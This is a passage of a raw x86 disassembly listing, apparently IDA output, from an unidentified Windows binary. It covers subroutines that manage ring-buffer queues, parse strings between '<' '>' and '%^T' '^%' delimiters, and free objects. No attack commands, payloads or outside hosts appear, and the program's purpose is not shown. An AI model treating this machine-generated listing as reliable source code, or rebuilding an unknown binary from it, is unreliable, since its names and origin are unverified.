ecx lea ecx, [esi+8] call sub_40DB59 lea ecx, [esi+4] pop esi jmp sub_40DB59 sub_401AE5 endp ; =============== S U B R O U T I N E ======================================= sub_401AF9 proc near ; CODE XREF: sub_4022BE+55p ; sub_402512+16p push esi mov esi, ecx lea ecx, [esi+4] call sub_40DB48 lea ecx, [esi+8] call sub_40DB48 mov eax, esi pop esi retn sub_401AF9 endp ; =============== S U B R O U T I N E ======================================= sub_401B10 proc near ; CODE XREF: sub_404B44+85p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov eax, [eax] push ebx push esi mov esi, ecx mov ecx, [esp+8+arg_4] push edi mov edi, [ecx] mov ecx, [esp+0Ch+arg_0] mov ebx, [ecx] push eax call sub_40CE59 pop ecx push eax push edi push ebx lea ecx, [esi+14h] call sub_409588 pop edi pop esi pop ebx retn 0Ch sub_401B10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B3F proc near ; CODE XREF: sub_402624+1FDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx xor ebx, ebx xor eax, eax cmp [ebp+arg_8], ebx jz short loc_401B5C mov ecx, [ebp+arg_0] push ebx push [ebp+arg_8] call sub_40DB2F cmp eax, ebx jz short loc_401B93 loc_401B5C: ; CODE XREF: sub_401B3F+Bj mov ecx, [ebp+arg_0] push esi push eax push offset asc_41820C ; "<" call sub_40DB2F mov esi, eax cmp esi, ebx jz short loc_401B92 mov ecx, [ebp+arg_0] inc esi push esi push offset asc_418208 ; ">" call sub_40DB2F cmp eax, ebx jz short loc_401B92 mov ecx, [ebp+arg_4] sub eax, esi push eax push esi call sub_40DB5E mov bl, 1 loc_401B92: ; CODE XREF: sub_401B3F+30j ; sub_401B3F+43j pop esi loc_401B93: ; CODE XREF: sub_401B3F+1Bj mov al, bl pop ebx pop ebp retn 0Ch sub_401B3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B9A proc near ; CODE XREF: sub_402624+1C8p var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] push edi push 0 push [ebp+arg_4] mov ecx, esi mov [ebp+var_1], 0 call sub_40DB2F mov edi, eax test edi, edi jz short loc_401C26 lea ecx, [ebp+arg_4] call sub_40DB48 push edi push offset asc_41820C ; "<" mov ecx, esi call sub_40DB2F mov edi, eax test edi, edi jz short loc_401C1E mov eax, [esi] mov ecx, edi sub ecx, eax inc ecx push ecx push eax lea ecx, [ebp+arg_4] call sub_40DB5E push 0 push [ebp+arg_8] lea ecx, [ebp+arg_4] call sub_40DBA2 inc edi push edi push offset asc_418208 ; ">" mov ecx, esi call sub_40DB2F test eax, eax lea ecx, [ebp+arg_4] jz short loc_401C21 push 0 push eax call sub_40DBA2 lea eax, [ebp+arg_4] push eax mov ecx, esi call sub_40DC39 mov [ebp+var_1], 1 loc_401C1E: ; CODE XREF: sub_401B9A+38j lea ecx, [ebp+arg_4] loc_401C21: ; CODE XREF: sub_401B9A+6Bj call sub_40DB59 loc_401C26: ; CODE XREF: sub_401B9A+1Dj mov al, [ebp+var_1] pop edi pop esi leave retn 0Ch sub_401B9A endp ; =============== S U B R O U T I N E ======================================= sub_401C2F proc near ; CODE XREF: sub_4021DE+35p push esi xor eax, eax mov esi, ecx push 2000h push eax mov [esi+2004h], eax push esi mov [esi+2000h], eax call sub_40CCD9 add esp, 0Ch mov eax, esi pop esi retn sub_401C2F endp ; =============== S U B R O U T I N E ======================================= sub_401C53 proc near ; CODE XREF: sub_401ED1+1Cp ; sub_4022BE+81p arg_0 = dword ptr 4 push ebx push ebp push esi mov ebx, ecx push edi lea ebp, [ebx+2000h] loc_401C5F: ; CODE XREF: sub_401C53+43j mov esi, [ebp+0] xor edi, edi loc_401C64: ; CODE XREF: sub_401C53+36j push 0 push [esp+14h+arg_0] lea eax, [edi+esi] and eax, 7FFh lea eax, [ebx+eax*4] push eax call ds:dword_4180D0 test eax, eax jz short loc_401C98 cmp edi, 800h jz short loc_401C8B inc edi jmp short loc_401C64 ; --------------------------------------------------------------------------- loc_401C8B: ; CODE XREF: sub_401C53+33j push 3E8h call ds:dword_4180C8 jmp short loc_401C5F ; --------------------------------------------------------------------------- loc_401C98: ; CODE XREF: sub_401C53+2Bj push ebp call ds:dword_4180E4 pop edi pop esi pop ebp pop ebx retn 4 sub_401C53 endp ; =============== S U B R O U T I N E ======================================= sub_401CA6 proc near ; CODE XREF: sub_402400+92p ; .text:00402AA2p push esi lea esi, [ecx+2004h] mov eax, [esi] and eax, 7FFh lea eax, [ecx+eax*4] push edi mov edi, [eax] test edi, edi jz short loc_401CD7 push edi push 0 push eax call ds:dword_4180D0 test eax, eax jz short loc_401CD7 push esi call ds:dword_4180E4 mov eax, edi jmp short loc_401CD9 ; --------------------------------------------------------------------------- loc_401CD7: ; CODE XREF: sub_401CA6+16j ; sub_401CA6+24j xor eax, eax loc_401CD9: ; CODE XREF: sub_401CA6+2Fj pop edi pop esi retn sub_401CA6 endp ; =============== S U B R O U T I N E ======================================= sub_401CDC proc near ; CODE XREF: sub_4021DE+40p push esi xor eax, eax mov esi, ecx push 3000h push eax mov [esi+3004h], eax push esi mov [esi+3000h], eax call sub_40CCD9 add esp, 0Ch mov eax, esi pop esi retn sub_401CDC endp ; =============== S U B R O U T I N E ======================================= sub_401D00 proc near ; CODE XREF: sub_401E66+20p var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp mov ebp, ds:dword_4180D0 push esi mov esi, ecx lea eax, [esi+3000h] push edi mov edi, [eax] xor ebx, ebx mov [esp+14h+var_4], eax push ebx mov eax, edi jmp short loc_401D2E ; --------------------------------------------------------------------------- loc_401D20: ; CODE XREF: sub_401D00+43j cmp ebx, 0C00h jz short loc_401D59 inc ebx push 0 lea eax, [ebx+edi] loc_401D2E: ; CODE XREF: sub_401D00+1Ej xor edx, edx mov ecx, 0C00h div ecx push [esp+18h+arg_0] lea eax, [esi+edx*4] push eax call ebp test eax, eax jnz short loc_401D20 push [esp+14h+var_4] call ds:dword_4180E4 mov al, 1 loc_401D51: ; CODE XREF: sub_401D00+5Bj pop edi pop esi pop ebp pop ebx pop ecx retn 4 ; --------------------------------------------------------------------------- loc_401D59: ; CODE XREF: sub_401D00+26j xor al, al jmp short loc_401D51 sub_401D00 endp ; =============== S U B R O U T I N E ======================================= sub_401D5D proc near ; CODE XREF: sub_402103+4Ap ; sub_402400+B5p push esi push edi lea esi, [ecx+3004h] mov eax, [esi] xor edx, edx mov edi, 0C00h div edi lea eax, [ecx+edx*4] mov edi, [eax] test edi, edi jz short loc_401D92 push edi push 0 push eax call ds:dword_4180D0 test eax, eax jz short loc_401D92 push esi call ds:dword_4180E4 mov eax, edi jmp short loc_401D94 ; --------------------------------------------------------------------------- loc_401D92: ; CODE XREF: sub_401D5D+1Aj ; sub_401D5D+28j xor eax, eax loc_401D94: ; CODE XREF: sub_401D5D+33j pop edi pop esi retn sub_401D5D endp ; =============== S U B R O U T I N E ======================================= sub_401D97 proc near ; CODE XREF: sub_402624+19Fp push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_401DB2 mov ecx, edi call sub_402BDD push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_401DB2: ; CODE XREF: sub_401D97+8j pop edi pop esi retn sub_401D97 endp ; =============== S U B R O U T I N E ======================================= sub_401DB5 proc near ; CODE XREF: sub_40235F+76p ; sub_402400+6Bp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx mov ebx, [eax+4] push ebp push esi mov esi, [eax+8] push edi mov edi, [eax+0Ch] push eax mov ebp, ecx call sub_40D0B6 test esi, esi pop ecx jz short loc_401DD6 mov [esi+0Ch], edi loc_401DD6: ; CODE XREF: sub_401DB5+1Cj test edi, edi jz short loc_401DDF mov [edi+8], esi jmp short loc_401DE2 ; --------------------------------------------------------------------------- loc_401DDF: ; CODE XREF: sub_401DB5+23j mov [ebp+0], esi loc_401DE2: ; CODE XREF: sub_401DB5+28j pop edi pop esi pop ebp mov eax, ebx pop ebx retn 4 sub_401DB5 endp ; =============== S U B R O U T I N E ======================================= sub_401DEB proc near ; CODE XREF: sub_4021A1+Cp push esi mov esi, ecx lea ecx, [esi+4] call sub_40DB59 mov ecx, esi pop esi jmp sub_401205 sub_401DEB endp ; =============== S U B R O U T I N E ======================================= sub_401DFE proc near ; CODE XREF: sub_401FF5+FDp ; sub_402400+53p push esi push edi mov edi, ecx mov esi, [edi+8] test esi, esi jz short loc_401E17 mov ecx, esi call sub_402BDD push esi call sub_40D0B6 pop ecx loc_401E17: ; CODE XREF: sub_401DFE+9j lea ecx, [edi+4] pop edi pop esi jmp sub_40DB59 sub_401DFE endp ; =============== S U B R O U T I N E ======================================= sub_401E21 proc near ; CODE XREF: sub_402400+Fp push ebx push esi push edi mov esi, ecx push dword ptr [esi+50A0h] call ds:dword_4180A8 lea ecx, [esi+5090h] call sub_40B150 xor ebx, ebx xor edi, edi cmp [esi+508Ch], ebx jbe short loc_401E62 loc_401E49: ; CODE XREF: sub_401E21+3Fj mov ecx, [esi+5088h] add ecx, ebx call sub_40B150 inc edi add ebx, 10h cmp edi, [esi+508Ch] jb short loc_401E49 loc_401E62: ; CODE XREF: sub_401E21+26j pop edi pop esi pop ebx retn sub_401E21 endp ; =============== S U B R O U T I N E ======================================= sub_401E66 proc near ; CODE XREF: sub_402624+400p arg_0 = dword ptr 4 push esi mov esi, ecx call ds:dword_4180CC mov ecx, [esp+4+arg_0] inc dword ptr [ecx+10h] cmp dword ptr [ecx+10h], 3 mov [ecx+0Ch], eax jge short loc_401E93 push ecx lea ecx, [esi+205Ch] call sub_401D00 test al, al jz short loc_401E93 mov al, 1 jmp short loc_401E95 ; --------------------------------------------------------------------------- loc_401E93: ; CODE XREF: sub_401E66+17j ; sub_401E66+27j xor al, al loc_401E95: ; CODE XREF: sub_401E66+2Bj pop esi retn 4 sub_401E66 endp ; =============== S U B R O U T I N E ======================================= sub_401E99 proc near ; CODE XREF: sub_405675+1CFp push esi mov esi, ecx cmp dword ptr [esi+5064h], 0 jnz short loc_401EA9 xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_401EA9: ; CODE XREF: sub_401E99+Aj cmp dword ptr [esi+5080h], 0C800h jg short loc_401ECC call ds:dword_4180CC sub eax, [esi+5084h] cmp eax, 0DBBA0h ja short loc_401ECC xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_401ECC: ; CODE XREF: sub_401E99+1Aj ; sub_401E99+2Dj xor eax, eax inc eax pop esi retn sub_401E99 endp ; =============== S U B R O U T I N E ======================================= sub_401ED1 proc near ; CODE XREF: sub_402103+53p arg_0 = dword ptr 4 push esi mov esi, ecx mov eax, [esi+2000h] push edi lea edi, [esi+2004h] mov ecx, [edi] cmp eax, ecx jnz short loc_401EF4 push [esp+8+arg_0] mov ecx, esi call sub_401C53 jmp short loc_401F39 ; --------------------------------------------------------------------------- loc_401EF4: ; CODE XREF: sub_401ED1+14j push ebx push ebp loc_401EF6: ; CODE XREF: sub_401ED1+5Dj mov eax, [edi] xor ebp, ebp mov ebx, eax loc_401EFC: ; CODE XREF: sub_401ED1+50j push 0 push [esp+14h+arg_0] mov eax, ebx and eax, 7FFh lea eax, [esi+eax*4] push eax call ds:dword_4180D0 test eax, eax jz short loc_401F30 cmp ebp, 800h jz short loc_401F23 inc ebp dec ebx jmp short loc_401EFC ; --------------------------------------------------------------------------- loc_401F23: ; CODE XREF: sub_401ED1+4Cj push 3E8h call ds:dword_4180C8 jmp short loc_401EF6 ; --------------------------------------------------------------------------- loc_401F30: ; CODE XREF: sub_401ED1+44j push edi call ds:dword_4180E8 pop ebp pop ebx loc_401F39: ; CODE XREF: sub_401ED1+21j pop edi pop esi retn 4 sub_401ED1 endp ; =============== S U B R O U T I N E ======================================= sub_401F3E proc near ; CODE XREF: sub_402512+76p ; sub_402624+58p ... arg_0 = dword ptr 4 push esi push edi mov esi, ecx lea edi, [esi+4] push edi call ds:dword_4180DC push [esp+8+arg_0] mov ecx, esi call sub_408DA2 test eax, eax jz short loc_401F6C mov esi, [eax+4] loc_401F5E: ; CODE XREF: sub_401F3E+30j push edi call ds:dword_4180E0 pop edi mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_401F6C: ; CODE XREF: sub_401F3E+1Bj xor esi, esi jmp short loc_401F5E sub_401F3E endp ; =============== S U B R O U T I N E ======================================= sub_401F70 proc near ; CODE XREF: sub_402172+9p ; sub_40235F+60p ... mov eax, [ecx] test eax, eax jz short locret_401F84 and dword ptr [ecx], 0 and dword ptr [ecx+4], 0 push eax call sub_40CCC5 pop ecx locret_401F84: ; CODE XREF: sub_401F70+4j retn sub_401F70 endp ; =============== S U B R O U T I N E ======================================= sub_401F85 proc near ; CODE XREF: sub_4022A0+Cp ; sub_402624+DBp ... push esi mov esi, ecx cmp dword ptr [esi], 0 jz short loc_401FB6 push edi xor edi, edi cmp [esi+4], edi jbe short loc_401FA5 loc_401F95: ; CODE XREF: sub_401F85+1Ej mov eax, [esi] lea ecx, [eax+edi*4] call sub_40DB59 inc edi cmp edi, [esi+4] jb short loc_401F95 loc_401FA5: ; CODE XREF: sub_401F85+Ej mov eax, [esi] and dword ptr [esi], 0 and dword ptr [esi+4], 0 push eax call sub_40CCC5 pop ecx pop edi loc_401FB6: ; CODE XREF: sub_401F85+6j pop esi retn sub_401F85 endp ; =============== S U B R O U T I N E ======================================= sub_401FB8 proc near ; CODE XREF: sub_405675+16Bp push esi push edi mov esi, ecx xor edi, edi cmp [esi+508Ch], edi jbe short loc_401FE5 push ebx xor ebx, ebx loc_401FC9: ; CODE XREF: sub_401FB8+2Aj mov ecx, [esi+5088h] push 0 add ecx, ebx call sub_40174B inc edi add ebx, 10h cmp edi, [esi+508Ch] jb short loc_401FC9 pop ebx loc_401FE5: ; CODE XREF: sub_401FB8+Cj push 0 lea ecx, [esi+5090h] call sub_40174B pop edi pop esi retn sub_401FB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401FF5 proc near ; CODE XREF: sub_404AB9+75p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0Ch mov [ebp+var_4], ecx call sub_40D0BB test eax, eax pop ecx jz short loc_402014 mov ecx, eax call sub_401AD2 mov esi, eax jmp short loc_402016 ; --------------------------------------------------------------------------- loc_402014: ; CODE XREF: sub_401FF5+12j xor esi, esi loc_402016: ; CODE XREF: sub_401FF5+1Dj mov eax, [ebp+arg_4] push ebx push edi mov edi, [ebp+arg_8] push 0 mov [esi], eax push dword ptr [edi] lea ebx, [esi+4] mov ecx, ebx call sub_40DB5E and dword ptr [esi+8], 0 push 0 push offset aT ; "%^T" mov ecx, edi call sub_40DB2F mov edi, eax test edi, edi jz loc_4020D9 add edi, 3 push edi push offset asc_418214 ; "^%" mov ecx, ebx call sub_40DB2F test eax, eax jz short loc_4020D9 sub eax, edi mov ebx, eax push ebx call sub_40D0BB lea ecx, [ebp+arg_8] push ecx push eax push ebx push edi mov [ebp+arg_4], eax mov [ebp+arg_8], ebx call sub_40C4D1 add esp, 14h test al, al jnz short loc_40208C cmp [ebp+arg_4], 0 jz short loc_4020D9 push [ebp+arg_4] jmp short loc_4020D3 ; --------------------------------------------------------------------------- loc_40208C: ; CODE XREF: sub_401FF5+8Aj push 2Ch call sub_40D0BB test eax, eax pop ecx jz short loc_4020A3 mov ecx, eax call sub_402BAC mov edi, eax jmp short loc_4020A5 ; --------------------------------------------------------------------------- loc_4020A3: ; CODE XREF: sub_401FF5+A1j xor edi, edi loc_4020A5: ; CODE XREF: sub_401FF5+ACj push [ebp+arg_8] mov ebx, [ebp+arg_4] push ebx mov ecx, edi call sub_402C86 test al, al jnz short loc_4020CB test edi, edi jz short loc_4020CE mov ecx, edi call sub_402BDD push edi call sub_40D0B6 pop ecx jmp short loc_4020CE ; --------------------------------------------------------------------------- loc_4020CB: ; CODE XREF: sub_401FF5+C0j mov [esi+8], edi loc_4020CE: ; CODE XREF: sub_401FF5+C4j ; sub_401FF5+D4j test ebx, ebx jz short loc_4020D9 push ebx loc_4020D3: ; CODE XREF: sub_401FF5+95j call sub_40D0B6 pop ecx loc_4020D9: ; CODE XREF: sub_401FF5+4Fj ; sub_401FF5+67j ... mov ecx, [ebp+var_4] push esi push [ebp+arg_0] add ecx, 38h call sub_408F07 mov esi, eax test esi, esi pop edi pop ebx jz short loc_4020FE mov ecx, esi call sub_401DFE push esi call sub_40D0B6 pop ecx loc_4020FE: ; CODE XREF: sub_401FF5+F9j pop esi leave retn 0Ch sub_401FF5 endp ; =============== S U B R O U T I N E ======================================= sub_402103 proc near ; DATA XREF: sub_4021DE+A1o push ebp mov ebp, ds:dword_4180B0 push esi push 1 mov esi, ecx push 64h push dword ptr [esi+50A0h] call ebp test eax, eax jz short loc_40216D push ebx push edi lea edi, [esi+205Ch] loc_402125: ; CODE XREF: sub_402103+66j mov eax, [edi+3004h] xor edx, edx mov ecx, 0C00h div ecx mov ebx, [edi+edx*4] test ebx, ebx jz short loc_40215B call ds:dword_4180CC sub eax, [ebx+0Ch] cmp eax, 927C0h jbe short loc_40215B mov ecx, edi call sub_401D5D push eax lea ecx, [esi+54h] call sub_401ED1 loc_40215B: ; CODE XREF: sub_402103+36j ; sub_402103+46j push 1 push 64h push dword ptr [esi+50A0h] call ebp test eax, eax jnz short loc_402125 pop edi pop ebx loc_40216D: ; CODE XREF: sub_402103+18j pop esi pop ebp retn 4 sub_402103 endp ; =============== S U B R O U T I N E ======================================= sub_402172 proc near ; CODE XREF: sub_402AD3+10p arg_0 = dword ptr 4 push esi mov esi, ecx cmp dword ptr [esi], 0 push edi jz short loc_402180 call sub_401F70 loc_402180: ; CODE XREF: sub_402172+7j mov edi, [esp+8+arg_0] mov eax, edi shl eax, 4 push 1 push eax call sub_40CA2C test eax, eax pop ecx pop ecx mov [esi], eax jz short loc_40219C mov [esi+4], edi loc_40219C: ; CODE XREF: sub_402172+25j pop edi pop esi retn 4 sub_402172 endp ; =============== S U B R O U T I N E ======================================= sub_4021A1 proc near ; CODE XREF: sub_402624+2B4p ; sub_402624+40Cp ... push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_4021BC mov ecx, edi call sub_401DEB push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_4021BC: ; CODE XREF: sub_4021A1+8j pop edi pop esi retn sub_4021A1 endp ; =============== S U B R O U T I N E ======================================= sub_4021BF proc near ; CODE XREF: sub_4021DE+25p push esi mov esi, ecx lea eax, [esi+0Ch] mov dword ptr [esi], offset off_41821C and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 push eax call ds:dword_4180D4 mov eax, esi pop esi retn sub_4021BF endp ; =============== S U B R O U T I N E ======================================= sub_4021DE proc near ; CODE XREF: sub_4058DF+21p push esi mov esi, ecx push edi lea ecx, [esi+4] mov dword ptr [esi], offset off_418220 call sub_401202 lea ecx, [esi+8] call sub_40DB48 lea ecx, [esi+0Ch] call sub_40DB48 lea ecx, [esi+14h] call sub_4021BF lea ecx, [esi+38h] call sub_408D8E lea ecx, [esi+54h] call sub_401C2F lea ecx, [esi+205Ch] call sub_401CDC lea ecx, [esi+5064h] call sub_408D8E xor edi, edi mov [esi+5080h], edi call ds:dword_4180CC mov [esi+5084h], eax lea eax, [esi+5088h] mov [eax], edi mov [eax+4], edi push 1 lea ecx, [esi+50A0h] mov [esi+509Ch], edi mov [esi+5098h], edi mov [esi+5094h], edi call sub_4012FC lea eax, [esi+50ACh] push eax call ds:dword_4180D4 mov [esi+5094h], edi mov dword ptr [esi+509Ch], offset sub_402103 mov [esi+5098h], esi mov [esi+50A4h], edi mov [esi+50A8h], edi pop edi mov eax, esi pop esi retn sub_4021DE endp ; =============== S U B R O U T I N E ======================================= sub_4022A0 proc near ; CODE XREF: sub_4022BE+97p ; sub_403ED0+17Ep ... push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_4022BB mov ecx, edi call sub_401F85 push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_4022BB: ; CODE XREF: sub_4022A0+8j pop edi pop esi retn sub_4022A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022BE proc near ; CODE XREF: sub_404BED+67p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push edi mov [ebp+var_4], ecx mov ecx, [ebp+arg_4] push offset asc_418210 ; "\n" call sub_40DD00 mov edi, eax mov ecx, [edi+4] xor eax, eax test ecx, ecx mov [ebp+var_C], edi mov [ebp+arg_4], eax mov [ebp+var_8], ecx jbe short loc_402352 push ebx push esi loc_4022EB: ; CODE XREF: sub_4022BE+90j mov ebx, eax mov eax, [edi] shl ebx, 2 add eax, ebx mov eax, [eax] test eax, eax jz short loc_402344 push eax call sub_40CD83 test eax, eax pop ecx jbe short loc_402344 push 14h call sub_40D0BB test eax, eax pop ecx jz short loc_40231C mov ecx, eax call sub_401AF9 mov esi, eax jmp short loc_40231E ; --------------------------------------------------------------------------- loc_40231C: ; CODE XREF: sub_4022BE+51j xor esi, esi loc_40231E: ; CODE XREF: sub_4022BE+5Cj mov eax, [ebp+arg_0] mov [esi], eax mov eax, [edi] add eax, ebx push eax lea ecx, [esi+4] call sub_40DC39 mov ecx, [ebp+var_4] and dword ptr [esi+0Ch], 0 and dword ptr [esi+10h], 0 push esi add ecx, 54h call sub_401C53 loc_402344: ; CODE XREF: sub_4022BE+3Aj ; sub_4022BE+45j mov eax, [ebp+arg_4] inc eax cmp eax, [ebp+var_8] mov [ebp+arg_4], eax jb short loc_4022EB pop esi pop ebx loc_402352: ; CODE XREF: sub_4022BE+29j lea ecx, [ebp+var_C] call sub_4022A0 pop edi leave retn 8 sub_4022BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40235F proc near ; CODE XREF: sub_402400+25p ; sub_405440+1F3p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, ecx push edi lea eax, [ebp+var_8] lea ecx, [ebx+5064h] push eax mov [ebp+var_4], ebx call sub_408761 mov edi, [ebp+var_8] test edi, edi jz short loc_4023E1 push esi loc_402382: ; CODE XREF: sub_40235F+7Fj test edi, edi jz short loc_40238B mov esi, [edi+4] jmp short loc_40238D ; --------------------------------------------------------------------------- loc_40238B: ; CODE XREF: sub_40235F+25j xor esi, esi loc_40238D: ; CODE XREF: sub_40235F+2Aj mov eax, [esi+4] test eax, eax jbe short loc_4023BD xor ebx, ebx test eax, eax jbe short loc_4023BA loc_40239A: ; CODE XREF: sub_40235F+59j mov eax, [esi] mov ecx, [eax+ebx*4] test ecx, ecx mov [ebp+var_8], ecx jz short loc_4023B4 call sub_401AE5 push [ebp+var_8] call sub_40D0B6 pop ecx loc_4023B4: ; CODE XREF: sub_40235F+45j inc ebx cmp ebx, [esi+4] jb short loc_40239A loc_4023BA: ; CODE XREF: sub_40235F+39j mov ebx, [ebp+var_4] loc_4023BD: ; CODE XREF: sub_40235F+33j mov ecx, esi call sub_401F70 push esi call sub_40D0B6 mov esi, [edi+8] pop ecx push edi lea ecx, [ebx+5064h] call sub_401DB5 test esi, esi mov edi, esi jnz short loc_402382 pop esi loc_4023E1: ; CODE XREF: sub_40235F+20j push 0 lea eax, [ebx+5080h] push eax call ds:dword_4180EC call ds:dword_4180CC pop edi mov [ebx+5084h], eax pop ebx leave retn sub_40235F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402400 proc near ; CODE XREF: sub_404FDE+7Cp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi mov esi, ecx push edi mov dword ptr [esi], offset off_418220 call sub_401E21 mov edi, ds:dword_4180DC lea ebx, [esi+5068h] push ebx call edi mov ecx, esi call sub_40235F push ebx mov ebx, ds:dword_4180E0 call ebx lea eax, [esi+3Ch] push eax call edi lea eax, [ebp+var_4] lea ecx, [esi+38h] push eax call sub_408761 jmp short loc_402470 ; --------------------------------------------------------------------------- loc_402447: ; CODE XREF: sub_402400+75j mov eax, [edi+4] mov ecx, eax test ecx, ecx mov [ebp+var_4], eax jz short loc_402461 call sub_401DFE push [ebp+var_4] call sub_40D0B6 pop ecx loc_402461: ; CODE XREF: sub_402400+51j mov eax, [edi+8] push edi lea ecx, [esi+38h] mov [ebp+var_4], eax call sub_401DB5 loc_402470: ; CODE XREF: sub_402400+45j mov edi, [ebp+var_4] test edi, edi jnz short loc_402447 lea eax, [esi+3Ch] push eax call ebx lea edi, [esi+54h] jmp short loc_402490 ; --------------------------------------------------------------------------- loc_402482: ; CODE XREF: sub_402400+9Bj mov ecx, ebx call sub_401AE5 push ebx call sub_40D0B6 pop ecx loc_402490: ; CODE XREF: sub_402400+80j mov ecx, edi call sub_401CA6 mov ebx, eax test ebx, ebx jnz short loc_402482 lea ebx, [esi+205Ch] jmp short loc_4024B3 ; --------------------------------------------------------------------------- loc_4024A5: ; CODE XREF: sub_402400+BEj mov ecx, edi call sub_401AE5 push edi call sub_40D0B6 pop ecx loc_4024B3: ; CODE XREF: sub_402400+A3j mov ecx, ebx call sub_401D5D mov edi, eax test edi, edi jnz short loc_4024A5 mov edi, ds:dword_4180D8 lea eax, [esi+50ACh] push eax call edi push dword ptr [esi+50A0h] call ds:dword_4180A4 lea ecx, [esi+5088h] call sub_401F70 lea eax, [esi+5068h] push eax call edi lea eax, [esi+3Ch] push eax call edi lea ecx, [esi+14h] call sub_40951B lea ecx, [esi+0Ch] call sub_40DB59 lea ecx, [esi+8] call sub_40DB59 pop edi pop esi pop ebx leave retn sub_402400 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402512 proc near ; CODE XREF: sub_402624+2D7p ; sub_402624+33Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi push 0Ch mov ebx, ecx call sub_40D0BB test eax, eax pop ecx jz short loc_402531 mov ecx, eax call sub_401AF9 mov esi, eax jmp short loc_402533 ; --------------------------------------------------------------------------- loc_402531: ; CODE XREF: sub_402512+12j xor esi, esi loc_402533: ; CODE XREF: sub_402512+1Dj mov eax, [ebp+arg_4] mov edi, [ebp+arg_0] mov [esi], eax cmp byte ptr [ebx+10h], 0 jz short loc_40254E test eax, eax jnz short loc_402570 push eax push dword ptr [edi+4] lea ecx, [esi+4] jmp short loc_40256B ; --------------------------------------------------------------------------- loc_40254E: ; CODE XREF: sub_402512+2Dj push 0 push dword ptr [edi+4] lea ecx, [esi+4] call sub_40DB5E cmp [ebp+arg_4], 0 jz short loc_402570 mov eax, [ebp+arg_8] push 0 push dword ptr [eax] lea ecx, [esi+8] loc_40256B: ; CODE XREF: sub_402512+3Aj call sub_40DB5E loc_402570: ; CODE XREF: sub_402512+31j ; sub_402512+4Dj lea eax, [ebx+5068h] push eax mov [ebp+arg_0], eax call ds:dword_4180DC push dword ptr [edi] lea ecx, [ebx+5064h] call sub_401F3E test eax, eax mov [ebp+arg_4], eax jnz short loc_4025BF push 8 call sub_40D0BB pop ecx xor ecx, ecx cmp eax, ecx jz short loc_4025AC mov [eax], ecx mov [eax+4], ecx mov [ebp+arg_4], eax jmp short loc_4025AF ; --------------------------------------------------------------------------- loc_4025AC: ; CODE XREF: sub_402512+8Ej mov [ebp+arg_4], ecx loc_4025AF: ; CODE XREF: sub_402512+98j push [ebp+arg_4] lea ecx, [ebx+5064h] push dword ptr [edi] call sub_408F07 loc_4025BF: ; CODE XREF: sub_402512+80j mov ecx, [ebp+arg_4] call sub_409570 mov [eax], esi mov eax, [esi+4] test eax, eax jnz short loc_4025D5 and [ebp+arg_4], eax jmp short loc_4025DF ; --------------------------------------------------------------------------- loc_4025D5: ; CODE XREF: sub_402512+BCj push eax call sub_40CD83 pop ecx mov [ebp+arg_4], eax loc_4025DF: ; CODE XREF: sub_402512+C1j mov esi, [esi+8] test esi, esi jnz short loc_4025EA xor eax, eax jmp short loc_4025F1 ; --------------------------------------------------------------------------- loc_4025EA: ; CODE XREF: sub_402512+D2j push esi call sub_40CD83 pop ecx loc_4025F1: ; CODE XREF: sub_402512+D6j mov ecx, [ebp+arg_4] lea eax, [eax+ecx+4] push eax add ebx, 5080h push ebx call ds:dword_4180F0 push [ebp+arg_0] call ds:dword_4180E0 mov ecx, edi call sub_401AE5 push edi call sub_40D0B6 pop ecx pop edi pop esi pop ebx pop ebp retn 0Ch sub_402512 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402624 proc near ; CODE XREF: .text:00402AAEp var_11C4 = byte ptr -11C4h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11C4h call sub_4011B0 push ebx push esi push edi mov edi, ecx lea ecx, [ebp+var_10] call sub_40DB48 lea ecx, [ebp+var_1C] call sub_40DB48 lea ecx, [ebp+var_20] call sub_40DB48 lea ecx, [ebp+var_8] call sub_40DB48 lea ecx, [ebp+var_14] call sub_40DB48 push 1194h lea eax, 